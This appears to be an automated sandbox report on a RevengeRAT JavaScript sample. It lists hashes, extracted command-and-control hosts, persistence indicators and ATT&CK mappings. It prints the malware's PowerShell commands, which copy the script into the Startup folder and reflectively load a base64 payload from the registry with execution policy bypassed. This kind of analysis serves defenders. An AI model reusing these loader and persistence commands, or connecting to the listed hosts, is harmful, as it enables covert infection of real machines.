revengerat | 98a8448063b2385b65c515fdeb23b54bbf9acc7b1e4f0a58e178660fbbd9a89c

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2024, 11:09

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General

Target
748a2ce4d69b041ef66c79fd5ee5b05a.js
Size 32KB
Sample240125-m87dwsedb3
SHA256 98a8448063b2385b65c515fdeb23b54bbf9acc7b1e4f0a58e178660fbbd9a89c
MD5 748a2ce4d69b041ef66c79fd5ee5b05a
SHA1 fdd89ac5cb1967e42770b31841865fba0def6ec1
SHA512 44c9ca273d5d36b06c6909a0d64bfa2a63a18940e969107a2dc7c9b68d2f6f30094d8d584d033cc70941882c72b632aca77c8301277a3a984b0053927c5c51d0
SSDEEP 768:ogtTnrOOUFNlCaAeaLMUJqJacEA6HQXA00pcGkh0YJdc2wTTFlqKpQed:LrOOUXIaAeaYUQJaRA6wwqGkhKrT7qKJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat office persistence stealer trojan

Malware Config

Extracted

Family

revengerat

Botnet

Office

workwinrarhost.ddns.com.br:333
office.minhaempresa.tv:333

Mutex

RV_MUTEX-ViGGjjtnxDpnFw

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/2124-27-0x000001F9DAD80000-0x000001F9DAD8A000-memory.dmp	revengerat

Blocklisted process makes network request 25 IoCs

flow	pid	Process
7	2124	powershell.exe
20	2124	powershell.exe
24	2124	powershell.exe
30	2124	powershell.exe
38	2124	powershell.exe
47	2124	powershell.exe
48	2124	powershell.exe
49	2124	powershell.exe
52	2124	powershell.exe
53	2124	powershell.exe
55	2124	powershell.exe
62	2124	powershell.exe
63	2124	powershell.exe
67	2124	powershell.exe
70	2124	powershell.exe
72	2124	powershell.exe
73	2124	powershell.exe
74	2124	powershell.exe
75	2124	powershell.exe
76	2124	powershell.exe
77	2124	powershell.exe
79	2124	powershell.exe
82	2124	powershell.exe
84	2124	powershell.exe
85	2124	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\748a2ce4d69b041ef66c79fd5ee5b05a.js	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office.vbs	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Office = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2124	powershell.exe
2416	powershell.exe
2416	powershell.exe
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 2416	2584	wscript.exe	87
PID 2584 wrote to memory of 2416	2584	wscript.exe	87
PID 2584 wrote to memory of 2124	2584	wscript.exe	88
PID 2584 wrote to memory of 2124	2584	wscript.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\748a2ce4d69b041ef66c79fd5ee5b05a.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\748a2ce4d69b041ef66c79fd5ee5b05a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\748a2ce4d69b041ef66c79fd5ee5b05a.js'))"
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_madbqrz2.nso.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_madbqrz2.nso.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2124-19-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

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memory/2124-20-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

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memory/2124-0-0x000001F9D8A30000-0x000001F9D8A52000-memory.dmp

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memory/2124-23-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

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memory/2124-35-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

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memory/2124-34-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

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memory/2124-32-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

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memory/2124-27-0x000001F9DAD80000-0x000001F9DAD8A000-memory.dmp

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memory/2416-21-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

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memory/2416-28-0x000001EF781D0000-0x000001EF78246000-memory.dmp

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memory/2416-25-0x000001EF77D90000-0x000001EF77DD4000-memory.dmp

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memory/2416-33-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

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memory/2416-22-0x000001EF5D430000-0x000001EF5D440000-memory.dmp

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memory/2416-24-0x000001EF5D430000-0x000001EF5D440000-memory.dmp

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memory/2416-36-0x000001EF5D430000-0x000001EF5D440000-memory.dmp

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